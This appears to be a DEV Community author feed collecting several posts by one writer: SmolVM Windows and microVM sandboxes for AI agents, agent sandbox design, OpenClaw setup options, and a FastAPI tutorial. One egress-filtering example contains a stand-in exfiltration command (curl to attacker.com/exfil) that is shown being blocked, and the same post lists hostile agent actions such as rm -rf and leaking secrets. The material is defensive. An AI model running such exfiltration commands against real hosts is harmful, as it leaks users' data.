DEV Community: Aniket Maurya

Open Source Windows Sandbox in Python: Run Windows 11 on Linux with SmolVM

Aniket Maurya — Tue, 26 May 2026 14:33:25 +0000

Linux-only sandboxes will not automate the world.

A lot of business software does not live inside a clean Linux container.

It lives on Windows.

Desktop apps. Legacy ERPs. Transport systems. Insurance tools. Back-office workflows. Internal software with no API, no docs, and no clean path for integration.

That is the awkward truth for computer-use agents.

If agents need to do real work, they need to run where the work already happens. For many companies, that means Windows.

That is why we added Windows sandboxes to SmolVM.

SmolVM can now boot an isolated Windows 11 VM from Python, run PowerShell commands over SSH, upload files into Windows paths, pass environment variables, and discard the VM after the task.

This is V1. It is not magic. It is the foundation for a more realistic agent runtime.

Agents need computers.

Some of those computers need to run Windows.

What do we mean by “Windows sandbox”?

First, a clarification.

Microsoft already has a product called Windows Sandbox. It is a built-in Windows feature that gives users a temporary isolated desktop environment for safe app testing and file inspection on supported Windows editions.

SmolVM solves a different problem.

In this post, “Windows sandbox” means a disposable Windows 11 virtual machine controlled by SmolVM from Python on a Linux host.

The difference is important:

Microsoft Windows Sandbox is a local desktop feature for Windows users.
SmolVM Windows sandboxes are programmable Windows VMs for developers, agents, test systems, and automation pipelines.

With SmolVM, you can start a Windows VM from Python, run commands, upload files, pass config, and delete the machine when the task ends.

Why Windows support matters

The first wave of AI agents wrote code.

The next wave needs computers.

Not just terminals. Not just containers. Real computers.

Agents will need to:

open business software
inspect files
read screens
click buttons
run scripts
use desktop apps
complete workflows across messy systems

A Linux sandbox works well for code execution. But it does not cover the full automation surface.

A logistics agent may need a transport management system.

An insurance agent may need a claims desktop app.

A finance agent may need an internal Windows-only tool.

A support agent may need back-office software that never had an API.

A serious agent infrastructure stack cannot pretend every workflow happens inside Ubuntu.

Run a Windows sandbox from Python

SmolVM gives Windows guests the same core Python API used for Linux guests.

from smolvm import SmolVM

with SmolVM(
    os="windows",
    image="~/.smolvm/images/win11.qcow2",
    ssh_user="smolvm",
    ssh_password="smolvm",
) as vm:
    vm.wait_for_ssh()
    print(vm.run("Write-Output 'hello from windows'").stdout)

This starts a Windows 11 VM, waits for SSH, runs a PowerShell command, and exits.

On context exit, SmolVM stops and deletes the VM.

That is the core primitive: a disposable Windows computer from Python.

Run a Windows sandbox on Linux or Ubuntu

SmolVM Windows guests run on Linux hosts with QEMU and KVM.

On Debian or Ubuntu, install the host prerequisites:

sudo apt-get install qemu-system-x86 ovmf swtpm

Windows 11 needs UEFI and TPM 2.0. SmolVM handles the OVMF firmware state, starts a per-VM software TPM process, wires QEMU, and sets up SSH access.

You still need a Windows disk image. SmolVM does not ship a Windows image.

You can either bring your own Windows 11 .qcow2 image or create one with the SmolVM CLI.

Build a Windows 11 sandbox image

If you do not already have a Windows .qcow2, use:

smolvm windows build-image \
  --iso ./Win11.iso \
  --virtio-win-iso ./virtio-win.iso \
  --output ~/.smolvm/images/win11.qcow2

You provide:

a Windows 11 ISO
the virtio-win driver ISO
an output path for the .qcow2

The build command creates a Windows image with OpenSSH Server, virtio-win drivers, and a local admin account.

Once the image exists, you can boot it like any other SmolVM guest:

from smolvm import SmolVM

with SmolVM(
    os="windows",
    image="~/.smolvm/images/win11.qcow2",
    ssh_user="smolvm",
    ssh_password="smolvm",
) as vm:
    vm.wait_for_ssh()
    print(vm.run("hostname").stdout)

Run PowerShell inside the Windows sandbox

On Linux guests, vm.run(...) executes shell commands.

On Windows guests, vm.run(...) executes PowerShell.

result = vm.run("Write-Output 'hello from windows'")
print(result.stdout)
print(result.exit_code)

result = vm.run("(Get-Item C:\\Windows).Name")
print(result.stdout.strip())

SmolVM runs the command through PowerShell over SSH.

That means your automation code can treat the Windows sandbox as a programmable runtime, not just a manually operated VM.

Upload files into Windows paths

A useful Windows sandbox needs file transfer.

SmolVM supports Windows-style paths:

vm.upload_file("./hello.ps1", "C:\\Users\\smolvm\\scripts\\hello.ps1")

result = vm.run(
    "powershell.exe -File C:\\Users\\smolvm\\scripts\\hello.ps1"
)

print(result.stdout)

This is useful for scripts, test data, config files, installers, and agent artifacts.

SmolVM also creates missing parent directories on the Windows side.

Pass environment variables into Windows

Agents need config.

Sometimes they need runtime flags. Sometimes they need temporary credentials. Sometimes they need a mode switch.

SmolVM supports environment variables for Windows guests:

from smolvm import SmolVM

with SmolVM(
    os="windows",
    image="~/.smolvm/images/win11.qcow2",
    ssh_user="smolvm",
    ssh_password="smolvm",
    env_vars={
        "APP_MODE": "production",
    },
) as vm:
    vm.wait_for_ssh()
    print(vm.run("$env:APP_MODE").stdout.strip())

On Windows, SmolVM writes variables into the per-user environment store.

Each vm.run(...) call opens a fresh SSH session, so new commands can read the updated variables.

The baseline image stays clean

A sandbox should be safe to destroy.

SmolVM keeps your baseline Windows image read-only. Each VM gets its own thin qcow2 overlay.

That gives you a clean model:

the golden Windows image stays unchanged
each sandbox gets separate disk state
multiple sandboxes can share the same baseline
crashes do not corrupt the base image
task state can vanish when the VM is deleted

This matters for agents.

Agents make mistakes. They can run unsafe commands. They can install bad packages. They can touch files they should not touch. They can get prompt-injected.

The answer is not “trust the agent.”

The answer is: give the agent a disposable computer.

SmolVM vs Microsoft Windows Sandbox

Microsoft Windows Sandbox is great when you want a temporary Windows desktop on a Windows machine.

SmolVM is for a different use case.

Use Microsoft Windows Sandbox when:

you are on a Windows host
you want a local temporary desktop
you want to manually test an app or file
you do not need a Python API

Use SmolVM when:

you are on a Linux host
you want to control Windows from Python
you need command execution
you need file upload
you need env vars
you want disposable VMs for agents, tests, or automation

That is the distinction.

SmolVM is not a replacement for every Windows Sandbox use case.

It is an open-source runtime for programmable Windows sandboxes.

What works today

Windows support in SmolVM is V1.

Today, it supports:

Windows 11 guests
Python API via SmolVM(...)
PowerShell commands via vm.run(...)
file upload into Windows paths
environment variables
Windows image creation via CLI
QEMU + KVM on Linux hosts
per-VM disk overlays

That is enough for command-level Windows automation, test systems, and the base layer for agent workflows.

Current limitations

The first version is deliberately narrow.

Today, Windows guests do not support:

macOS hosts
host folder mounts
network allowlists and egress controls
snapshots

Those features raise clear errors instead of silent failures.

Also, SmolVM does not currently ship a published Windows image. You need to bring or create a Windows 11 .qcow2 image.

This is important. Windows support is useful today, but it is still V1.

Why this matters for computer-use agents

A lot of agent infrastructure still assumes the world is Linux.

That assumption breaks as soon as agents leave code tasks and enter real business workflows.

Real work happens in:

browsers
terminals
file systems
desktop apps
old ERPs
customer portals
internal tools
Windows-only software

Computer-use agents need runtime environments that match that world.

Linux containers are part of the answer.

They are not the whole answer.

If an agent needs to operate Windows software, it needs a Windows computer. That computer should be isolated, disposable, programmable, and easy to start from code.

That is the direction SmolVM is moving toward.

FAQ

Is SmolVM the same as Microsoft Windows Sandbox?

No.

Microsoft Windows Sandbox is a built-in Windows feature for a temporary desktop environment on supported Windows editions.

SmolVM Windows sandboxes are Windows 11 VMs that run on a Linux host and can be controlled from Python.

Can I run a Windows sandbox from Python?

Yes.

With SmolVM, you can start a Windows 11 sandbox from Python, wait for SSH, run PowerShell commands, upload files, pass environment variables, and delete the VM after the task.

Can I run a Windows sandbox on Ubuntu?

Yes.

SmolVM Windows guests run on Linux hosts with QEMU and KVM. On Ubuntu or Debian, install:

sudo apt-get install qemu-system-x86 ovmf swtpm

Does SmolVM provide a Windows image?

No.

You need to bring a Windows 11 .qcow2 image or create one from a Windows ISO and the virtio-win driver ISO with:

smolvm windows build-image \
  --iso ./Win11.iso \
  --virtio-win-iso ./virtio-win.iso \
  --output ~/.smolvm/images/win11.qcow2

Does SmolVM support GUI automation on Windows?

Windows support is V1.

Today, the documented Windows support covers boot, PowerShell command execution, file upload, environment variables, and image creation.

That gives the base runtime for Windows automation. GUI-level agent control is the next layer on top.

Why not just use Docker?

Docker is excellent for Linux workloads.

But Docker is not a Windows desktop. It is not the right abstraction for Windows-only apps, desktop state, PowerShell-heavy workflows, Windows services, or legacy software that expects a real Windows OS.

For those tasks, agents need a real Windows runtime.

Conclusion

Linux-only sandboxes will not automate the world.

The next wave of agents will not just write code. They will use computers.

Some of those computers need to run Windows.

With SmolVM, developers can now boot a disposable Windows 11 VM from Python, run PowerShell, upload files, pass environment variables, and throw the machine away after the task.

It is early.

But the direction is clear:

Agents need computers.

Those computers need to be isolated, disposable, programmable, and close to the operating systems businesses actually use.

That is why Windows sandboxes are now part of SmolVM.

Sources

Windows sandboxes in SmolVM — Linux host + QEMU/KVM, pre-installed .qcow2, OVMF, swtpm, PowerShell via vm.run, file upload, env vars, overlays, and current V1 limits.
Windows Sandbox overview — Microsoft's built-in temporary desktop feature on supported Windows editions.
Windows Sandbox community projects — community tools for Microsoft's Windows Sandbox, including Python utilities such as PyWinSandbox.

How to Safely Run AI-Generated Code with SmolVM (Open-Source MicroVM Sandbox)

Aniket Maurya — Tue, 21 Apr 2026 01:47:43 +0000

Your AI agent just wrote some Python. Do you feel good about running it on your laptop?

If the answer is "not really" — you're not alone. Every team building agents eventually hits the same wall: LLM-generated code is the new untrusted input, and most of the tooling we reach for (Docker, subprocess, exec) wasn't built for it.

We built SmolVM to fix this. It's an open-source, Firecracker-backed microVM sandbox that gives AI agents their own disposable computer — boots in under a second, isolated at the hardware level, and disappears when the agent is done.

In this post I'll walk through:

Why running AI-generated code in Docker is a bad idea
What microVMs give you that containers don't
A SmolVM quickstart (three lines of Python)
Real use cases: coding agents, browser agents, and giving an agent access to your repo
How SmolVM compares to Docker, E2B, and firecracker-containerd
FAQ

Let's get into it.

The problem: LLM-generated code is untrusted input

Any team shipping coding agents, app builders, design-to-code tools, or workflow automation eventually needs to execute code the model wrote. That code might:

rm -rf something you care about
Exfiltrate secrets from your environment
Make outbound calls to an attacker-controlled server
Install a dependency that does any of the above
Pin a CPU at 100% and melt your host

Even if the model is well-aligned, prompt injection from tool outputs, web pages, or pasted documents can redirect it. The right mental model: treat every code suggestion as if it came from a random person on the internet, because effectively it did.

That means you need a sandbox. And this is where most teams reach for Docker — which is where the trouble starts.

Why Docker isn't enough for AI agent sandboxes

Containers are great for packaging and deployment. They're not a security boundary you want to bet on for untrusted code execution.

Here's the core issue: containers share the host kernel. A process inside a container is just a normal Linux process with some namespaces and cgroups wrapped around it. If the kernel has a privilege-escalation bug (and new ones ship every year), a container escape becomes a host compromise. runc CVEs are a regular occurrence. The attack surface is enormous.

MicroVMs take a different approach: a real hypervisor, a real guest kernel, and a hardware virtualization boundary (Intel VT-x, AMD-V, ARM virtualization extensions) between the agent's code and your host. The attack surface shrinks dramatically.

The tradeoff used to be speed — full VMs took 30+ seconds to boot, which is unusable for ephemeral agent sandboxes. Firecracker (the microVM that powers AWS Lambda and Fargate) solved that problem. MicroVMs now boot in under 500ms, which makes them practical for per-request isolation.

SmolVM wraps Firecracker (on Linux) and QEMU (on macOS) in a clean Python API so you don't have to deal with TAP devices, rootfs images, or vsock by hand.

SmolVM quickstart

Install SmolVM with a single command:

curl -sSL https://celesto.ai/install.sh | bash

This installs everything you need (including Python), configures your machine, and verifies the setup.

Manual installation

pip install smolvm
smolvm setup
smolvm doctor

Spin up a sandbox and run a command:

from smolvm import SmolVM

with SmolVM() as vm:
    result = vm.run("echo 'Hello from the sandbox!'")
    print(result.output)

That's it. You now have a hardware-isolated VM with its own kernel, its own filesystem, and its own network namespace — and it'll clean itself up when the with block exits.

Real use case #1: Execute LLM-generated code safely

This is the pattern most coding agents need. The model produces a shell command or a Python snippet, and you need to run it without putting your machine at risk.

from smolvm import SmolVM

def execute_code_in_sandbox(code: str) -> str:
    """Tool the agent can call to run shell code safely."""
    with SmolVM() as vm:
        result = vm.run(code)
        return result.stdout if result.exit_code == 0 else result.stderr

Wire this up as a tool in your agent framework (LangChain, Agentor, whatever you use), and the agent now has a bash tool that is safe to expose. Even if it runs rm -rf /, the blast radius is a VM that's about to be thrown away anyway.

Real use case #2: Multi-turn sessions with persistent state

For agents that install dependencies, build projects, or iterate over multiple turns, you want the VM to stick around. SmolVM supports this with explicit lifecycle control and the ability to reconnect by ID:

from smolvm import SmolVM

vm = SmolVM()
vm.start()

# Set up the environment
vm.run("pip install requests pandas")

# Later in the conversation
vm.run("python analysis.py")

# Reconnect from a different process
vm_id = vm.id
# ... hours later ...
vm = SmolVM.from_id(vm_id)
print(vm.status)

You can also inject environment variables (persisted to /etc/profile.d/ inside the VM) for API keys and configuration:

with SmolVM() as vm:
    vm.set_env_vars({"API_KEY": "sk-...", "DEBUG": "1"})
    print(vm.run("echo $API_KEY").output)

Real use case #3: Give the agent a browser

Browser-using agents need a full browser session they can see and control. Running Chrome on the host is messy — it touches your cookies, your extensions, your logged-in sessions. Running it in a sandboxed VM is clean:

with SmolVM() as vm:
    # Start a full browser inside the VM
    vm.run("google-chrome --remote-debugging-port=9222 &")

    # Expose the DevTools port to the host
    host_port = vm.expose_local(guest_port=9222, host_port=19222)
    # Now connect Playwright/Puppeteer to http://localhost:19222

The agent gets a real browser. Your host stays untouched.

Real use case #4: Let the agent read your repo (read-only)

For coding agents that need to understand an existing codebase, you can mount a host directory read-only so the agent can explore without being able to modify anything:

with SmolVM(host_mounts=[("/Users/me/my-repo", "/workspace", "ro")]) as vm:
    # Agent can read but not write
    print(vm.run("ls /workspace").output)
    print(vm.run("cat /workspace/README.md").output)

This is how you get the benefits of Cursor-style codebase awareness without trusting the agent (or a prompt-injected dependency) with write access to your project.

Real use case #5: Egress filtering

A common exfiltration vector for malicious LLM output is "send data to attacker.com". SmolVM ships with domain allowlisting so the VM can only reach the hosts you explicitly permit:

with SmolVM(allow_hosts=["api.openai.com", "pypi.org"]) as vm:
    # These work
    vm.run("pip install requests")
    # This silently fails — attacker.com isn't on the list
    vm.run("curl https://attacker.com/exfil")

If the model writes code that tries to phone home, the network stack says no.

SmolVM vs Docker vs other sandboxes

Here's how SmolVM stacks up against the options most teams consider:

Feature	Docker / containers	SmolVM	E2B (hosted)	firecracker-containerd
Isolation boundary	Shared kernel	Hardware (KVM/Firecracker)	Hardware (Firecracker)	Hardware (Firecracker)
Boot time	~100ms	~500ms	~150ms (hosted)	~500ms
Runs on your infra	✅	✅	❌ (their cloud)	✅ (complex setup)
Python SDK	via Docker SDK	✅ native	✅ native	❌
macOS support	✅	✅ (QEMU)	✅	❌
Host directory mounts	✅	✅	Limited	✅
Domain allowlisting	Manual	✅ built-in	✅	Manual
Snapshots	❌	✅	✅	✅
Open source	✅	✅ (Apache 2.0)	❌	✅
Price	Free	Free	Per-sandbox	Free

If you want a hosted sandbox and don't mind a per-request cost, E2B is a great product. If you want to run sandboxes on your own infrastructure (for cost, privacy, VPC requirements, or regulated-industry compliance), SmolVM is the option that gets you there without wiring up firecracker-containerd by hand.

Performance

The whole reason microVMs are viable for agent workloads is boot speed. On an AMD Ryzen 7 7800X3D (8C/16T) running Ubuntu with the Firecracker backend, we measure p50 VM lifecycle timings in the sub-second range — fast enough to create a fresh sandbox per agent turn if you want to.

In practice, most teams reuse VMs across a single conversation and recycle them between sessions. With snapshots, you can pre-warm a VM with a specific set of dependencies and restore from that snapshot in milliseconds — effectively free sandbox creation.

Who this is for

SmolVM is useful if you're building:

Coding agents (Cursor/Devin/Claude Code-style products) that need to execute code
App builders and design-to-code tools that compile and run generated projects
Workflow automation platforms (n8n, Zapier-style) where users write code nodes
Research and data-analysis agents that run untrusted Python
Browser-using agents that need a clean, disposable browser session
Any LLM product where the model's output might be executed on a machine you care about

If the model's output ever touches a shell, a Python interpreter, or a browser, you want a sandbox between it and your host.

FAQ

Why not just use Docker for AI agent sandboxes?

Docker containers share the host kernel. A kernel exploit or container-escape CVE becomes a full host compromise. For AI-generated code — which is effectively untrusted input — you want a hypervisor boundary between the code and your host. MicroVMs give you that, and modern microVMs boot fast enough to use per-request.

How is SmolVM different from E2B?

E2B is a hosted sandbox service — you pay per sandbox and it runs on their infrastructure. SmolVM is open source and runs on your own machine or your own cloud, which matters if you care about data privacy, egress cost, VPC deployment, or regulated-industry compliance (fintech, health tech, legal tech). Both use Firecracker under the hood on Linux.

Does SmolVM work on macOS?

Yes. On Linux, SmolVM uses Firecracker with KVM. On macOS, it uses QEMU with the Hypervisor framework. The Python API is identical across both backends, so your code is portable.

What about Windows?

Windows isn't supported yet. WSL2 works, but native Windows support is on the roadmap.

Is SmolVM production-ready?

SmolVM is in active development (currently v0.0.3). It's being used in production by early design partners. For mission-critical workloads, we recommend pinning to a specific version and running a staging deploy first. See the installation docs for golden-AMI patterns and Firecracker version pinning.

Can I run GPU workloads inside SmolVM?

Not in the current release. GPU passthrough for Firecracker is experimental upstream, and SmolVM doesn't expose it yet. For CPU-bound code (which is most agent code — data manipulation, API calls, shell commands, browser automation), SmolVM is a great fit. For GPU inference, keep that on the host.

What's the overhead per sandbox?

A default SmolVM uses ~128MB of RAM and a few hundred MB of disk. You can run dozens of microVMs on a single host without breaking a sweat, which is the whole point of "micro" in microVM.

How does this fit with frameworks like LangChain or Agentor?

SmolVM is a runtime, not a framework. Wrap SmolVM().run(...) as a tool in whatever agent framework you're using. We designed it to be framework-agnostic so it plugs into existing agent stacks.

Getting started

The fastest path:

Install: pip install smolvm
Run host setup: ./scripts/system-setup.sh (Linux) or ./scripts/system-setup-macos.sh (macOS)
Try the quickstart above
Star the repo on GitHub so you can find it later (and so we know it's useful — it helps us prioritize)
Read the docs at docs.celesto.ai

SmolVM is Apache 2.0 licensed and free to use in commercial projects. It's built and maintained by Celesto AI, where we're working on production infrastructure for AI agents.

If you're building something interesting on top of it — or you hit something that doesn't work — open an issue or reach out. We read everything.

Building with AI agents? We'd love to hear what you're working on. Drop a comment below or find us on GitHub.

Why AI Agents Need Sandboxes — And What to Look For

Aniket Maurya — Sun, 12 Apr 2026 13:16:40 +0000

AI agents have evolved from simple chatbots into autonomous systems that can execute code, navigate browsers, install packages, and interact with live services. With that power comes a serious question: where should these agents actually run?

The answer is a sandbox — a temporary, isolated computing environment built specifically for the agent. Think of it as giving the agent its own disposable computer rather than handing it the keys to yours.

The Risk of Running Agents on Your Machine

When an AI agent executes a shell command or installs a dependency, those are real operations with real consequences. Running them directly on your workstation opens the door to a range of problems:

Prompt injection attacks could trick the agent into executing malicious commands that affect your actual system.
Credential leakage becomes dangerous when your real API keys and tokens are accessible in the environment.
Accidental data loss can happen if the agent overwrites or deletes files on your machine.
Supply chain compromises from installing a tampered package could propagate to your host.
Production incidents can occur if the agent inadvertently connects to and modifies a live system.

A sandbox eliminates these risks by containing all agent activity within a boundary. If something goes wrong, you simply discard the sandbox and spin up a new one.

What Makes a True Agent Sandbox?

Not every virtual machine or container qualifies as an agent sandbox. There are specific capabilities that differentiate a purpose-built agent sandbox from general-purpose compute:

Fast Startup

Agent sandboxes need to launch in milliseconds, not seconds. If it takes 30 seconds to boot an environment, developers will bypass it entirely and run things locally. The target should be roughly 200–300ms spin-up times so that creating a fresh environment per task feels seamless.

Pause and Resume

Agents spend a lot of time waiting — for user input, for API responses, or between steps in a workflow. A good sandbox can be paused during idle periods and resumed instantly, saving compute costs while preserving full state.

Snapshot and Restore

This is essentially a save-point system. A snapshot captures the entire state of the sandbox at a given moment (filesystem, processes, connections, everything). If the agent takes a wrong turn, you roll back to the snapshot instead of starting over from scratch. This is invaluable for iterative agent workflows.

Nice-to-Have Capabilities

Beyond the essentials, there are a few features that make sandboxes significantly more practical:

Internet access controls — the ability to allow, block, or whitelist network traffic on a per-sandbox basis.
Pre-built environments — base images with common toolchains (Python, Node.js, browsers) pre-installed to skip repetitive setup.
Live view — real-time visibility into what the agent is doing inside the sandbox (terminal, browser, screen), which helps with debugging and building trust.

A Sandbox Built for AI Agents: Celesto AI

Disclosure: I'm the founder of Celesto AI, so take this with the appropriate grain of salt — but I built it precisely because I ran into these problems firsthand.

Celesto AI is a sandbox platform designed specifically for AI agents. It provides isolated cloud environments that spin up in milliseconds, with built-in support for pause/resume, snapshots, and fine-grained internet access controls. Whether you need an ephemeral sandbox for a one-off code execution task or a persistent environment for a multi-step agent workflow, Celesto handles both patterns out of the box.

The goal is to make the safe path the default path — so developers and agent frameworks don't have to choose between security and speed.

Ephemeral vs. Persistent Sandboxes

There are two main patterns for sandbox lifecycle management. Ephemeral sandboxes are created for a single task and destroyed immediately after. They offer the strongest security guarantees since nothing persists between runs. Persistent sandboxes stay alive across multiple steps, which is useful for multi-stage tasks where the agent needs to build on previous work.

Most mature sandbox platforms support both patterns, letting you choose the right one for each use case.

Takeaway

As AI agents become more capable, the environments they operate in matter more than ever. Sandboxes provide a straightforward way to let agents do meaningful work without risking your real infrastructure. The principle is simple: give the agent its own computer, not yours.

This post was inspired by What are AI Agent Sandboxes on the Celesto AI blog.

[Boost]

Aniket Maurya — Wed, 04 Feb 2026 12:13:24 +0000

Aniket Maurya

Feb 4

5 Ways to Set Up OpenClaw (aka ClawdBot / MoltBot) — and Actually Use It Day-to-Day

#ai #openclaw #tutorial #productivity

Comments 2

3 min read

5 Ways to Set Up OpenClaw (aka ClawdBot / MoltBot) — and Actually Use It Day-to-Day

Aniket Maurya — Wed, 04 Feb 2026 12:10:58 +0000

Most “setup guides” jump straight into commands. That’s backwards.

This blog will help you get connected to an OpenClaw bot with minimal setup, you can:

respond from phone,
run tasks (code, reminders, web research),
stay secure,
without spending a whole weekend to set it up.

So first: the real problem is choosing the right setup for how you’ll use it.

Below are five practical setups (from easiest to most powerful), each framed around the pain it solves.

1) The “Phone-First” Setup: Telegram DM Bot (fastest time-to-value)

The problem it solves

You want to talk to your agent from anywhere—especially your phone—without opening a laptop, VPN, or SSH app. You also want a clean “inbox-like” experience: quick prompts, quick replies.

Why this setup works

Telegram is lightweight, reliable, and behaves like a “command line for humans.” It’s ideal for:

quick questions (“summarize this”, “draft a message”)
reminders (“remind me at 11am”)
lightweight ops (“check RAM”, “list files”, “run a script”)

What it looks like

You create a Telegram bot (BotFather)
OpenClaw connects to it
You DM your assistant like a person

Best for: personal assistants, founders, solo builders, “run my life from my phone” workflows.

Celesto AI provides a no-setup, no-server solution for humans! Get OpenClaw on your Telegram for free here.

2) The “I Want It Everywhere” Setup: Multi-Channel Bot (Telegram + Discord/Slack)

The problem it solves

Your work happens in communities and team spaces—not just DMs. You want the agent where decisions happen:

Discord communities
Slack team channels
group chats where people collaborate

Why this setup works

A multi-channel setup turns OpenClaw into an “ambient operator”:

answers when mentioned
summarizes threads
drafts responses
keeps notes
can be restricted by allowlists / mention-only behavior

What it looks like

One OpenClaw instance
Multiple channel plugins enabled
Rules like “only respond on @mention” to avoid being spammy

Best for: startup teams, communities, internal “ops bot” usage.

3) The “Automation Brain” Setup: Scheduled Reminders + Cron Jobs

The problem it solves

You don’t need a chatbot. You need a system that remembers.
Following up, applying, sending that DM, doing the weekly check-in—humans drop these constantly.

Why this setup works

OpenClaw can schedule exact-time tasks (one-shot or recurring) that fire without you remembering:

“Tomorrow after noon, remind me to apply”
“Tuesday 10am: send a DM”
“Every weekday at 9:30: give me today’s priorities”

This is where assistants become infrastructure, not conversation.

What it looks like

You tell OpenClaw what/when
It schedules a job (cron)
It pings you at the right moment with context and links

Best for: founders, ADHD-friendly workflows, anyone juggling deals + meetings.

4) The “Coding Agent” Setup: Workspace + Exec (turn it into a real dev assistant)

The problem it solves

You want more than advice—you want actual output:

code changes
scripts run
files edited
repos managed
quick prototypes built

Why this setup works

When OpenClaw has:

a workspace directory
permission to run commands safely …it becomes a practical coding agent that can do the work, not just talk about it.

What it looks like

You point OpenClaw at a workspace (repo or project folder)
It can edit files and run tests/build commands
You review results (diffs, logs, artifacts)

Best for: building product fast, automating repetitive dev tasks, “ship while on your phone.”

5) The “Security-First” Setup: Hard Sandbox (gVisor / MicroVMs / strict mounts)

The problem it solves

If you’re running agents that can execute commands, your threat model changes:

“What if the agent (or a dependency) is compromised?”
“What if a prompt injection tries to exfiltrate secrets?”
“What if a container escape happens?”

Why this setup works

Containers are convenient, but they share the host kernel. If you want serious isolation, you tighten the boundaries:

Common patterns:

gVisor: syscall interception; stronger isolation than vanilla containers with less overhead than full VMs.
MicroVMs (e.g., Firecracker): VM boundary; stronger isolation for “run untrusted stuff” workloads.
Read-only containers + minimal mounts: only mount what’s needed, no host root access, no ambient credentials.
Split duties: keep “internet browsing” separate from “has secrets” workloads.

What it looks like

Run OpenClaw with strict filesystem access (only specific mounted directories)
Use hardened runtime (gVisor / MicroVM) if you’re serious about untrusted execution
Keep keys out of chat logs; use env vars/secrets management

Best for: security-conscious builders, anyone running agents on a machine with real credentials.

Which One Should You Pick?

If you want a simple rule:

Fastest useful: Telegram DM bot (Setup #1)
Team usage: Multi-channel (Setup #2)
Life admin superpower: Cron reminders (Setup #3)
Build products: Workspace + exec (Setup #4)
High-trust environment / real secrets: Security-first sandboxing (Setup #5)

You can also combine them: most serious setups do.

Answer: Resizing image and its bounding box

Aniket Maurya — Sun, 04 Jul 2021 04:57:45 +0000

Jul 4 '21

Another way of doing this is to use CHITRA

image = Chitra(img_path, box, label)
# Chitra can rescale your bounding box automatically based on the new image size.
image.resize_image_with_bbox((224, 224))

print('rescaled bbox:', image.bounding_boxes)
plt.imshow(image.draw_boxes())

https://chitra.readthedocs.io/en/latest/

pip install chitra

</p>

Open Full Answer

Resizing image and bounding box separately can be pain and irritating. CHITRA is an image utility library for Deep Learning that can rescale your bounding box automatically based on the new image size.

📝 Docs: https://chitra.readthedocs.io/en/latest/

Building Machine Learning API with FastAPI

Aniket Maurya — Sat, 22 Aug 2020 05:53:58 +0000

FastAPI is a high-performance asynchronous framework for building APIs in Python.
It provides support for Swagger UI out of the box.

Source code for this blog is available aniketmaurya/tensorflow-fastapi-starter-pack

Lets start with a simple hello-world example

First, we import FastAPI class and create an object app. This class has useful parameters like we can pass the title and description for Swagger UI.

from fastapi import FastAPI
app = FastAPI(title='Hello world', description='This is a hello world example', version='0.0.1')

We define a function and decorate it with @app.get. This means that our API /index supports the GET method. The function defined here is async, FastAPI automatically takes care of async and without async methods by creating a thread pool for the normal def functions and it uses an async event loop for async functions.

@app.get('/index')
async def hello_world():
    return "hello world"

Pydantic support

One of my favorite features offered by FastAPI is Pydantic support. We can define Pydantic models and request-response will be handled by FastAPI for these models.
Let's create a COVID-19 symptom checker API to understand this.

Covid-19 symptom checker API

We create a request body, it is the format in which the client should send the request. It will be used by Swagger UI.

from pydantic import BaseModel

class Symptom(BaseModel):
    fever: bool = False
    dry_cough: bool = False
    tiredness: bool = False
    breathing_problem: bool = False

Let's create a function to assign a risk level based on the inputs.

This is just for learning and should not be used in real life, better consult a doctor.

def get_risk_level(symptom: Symptom):
    if not (symptom.fever or symptom.dry_cough or symptom.tiredness or symptom.breathing_problem):
        return 'Low risk level. THIS IS A DEMO APP'

    if not (symptom.breathing_problem or symptom.dry_cough):
        if symptom.fever:
            return 'moderate risk level. THIS IS A DEMO APP'

    if symptom.breathing_problem:
        return 'High-risk level. THIS IS A DEMO APP'

    return 'THIS IS A DEMO APP'

Let's create the API for checking the symptoms

@app.post('/api/covid-symptom-check')
def check_risk(symptom: Symptom):
    return get_risk_level(symptom)

Image recognition API

We will create an API to classify images, we name it predict/image.
We will use Tensorflow for creating the image classification model.

Tutorial for Image Classification with Tensorflow

We create a function load_model, which will return a MobileNet CNN Model with pre-trained weights i.e. it is already trained to classify 1000 unique categories of images.

import tensorflow as tf

def load_model():
    model = tf.keras.applications.MobileNetV2(weights="imagenet")
    print("Model loaded")
    return model

model = load_model()

We define a predict function that will accept an image and returns the predictions.
We resize the image to 224x224 and normalize the pixel values to be in [-1, 1].

from tensorflow.keras.applications.imagenet_utils import decode_predictions

decode_predictions is used to decode the class name of the predicted object.
Here we will return the top-2 probable class.

def predict(image: Image.Image):

    image = np.asarray(image.resize((224, 224)))[..., :3]
    image = np.expand_dims(image, 0)
    image = image / 127.5 - 1.0

    result = decode_predictions(model.predict(image), 2)[0]

    response = []
    for i, res in enumerate(result):
        resp = {}
        resp["class"] = res[1]
        resp["confidence"] = f"{res[2]*100:0.2f} %"

        response.append(resp)

    return response

Now we will create an API /predict/image which supports file upload. We will filter the file extension to support only jpg, jpeg, and png format of images.

We will use Pillow to load the uploaded image.

def read_imagefile(file) -> Image.Image:
    image = Image.open(BytesIO(file))
    return image

@app.post("/predict/image")
async def predict_api(file: UploadFile = File(...)):
    extension = file.filename.split(".")[-1] in ("jpg", "jpeg", "png")
    if not extension:
        return "Image must be jpg or png format!"
    image = read_imagefile(await file.read())
    prediction = predict(image)

    return prediction

Final code

import uvicorn
from fastapi import FastAPI, File, UploadFile

from application.components import predict, read_imagefile

app = FastAPI()

@app.post("/predict/image")
async def predict_api(file: UploadFile = File(...)):
    extension = file.filename.split(".")[-1] in ("jpg", "jpeg", "png")
    if not extension:
        return "Image must be jpg or png format!"
    image = read_imagefile(await file.read())
    prediction = predict(image)

    return prediction


@app.post("/api/covid-symptom-check")
def check_risk(symptom: Symptom):
    return symptom_check.get_risk_level(symptom)


if __name__ == "__main__":
    uvicorn.run(app, debug=True)

FastAPI documentation is the best place to learn more about core concepts of the framework.

Hope you liked the article.

Feel free to ask your questions in the comments or reach me out personally.

👉 Twitter: https://twitter.com/aniketmaurya

👉 Linkedin: https://linkedin.com/in/aniketmaurya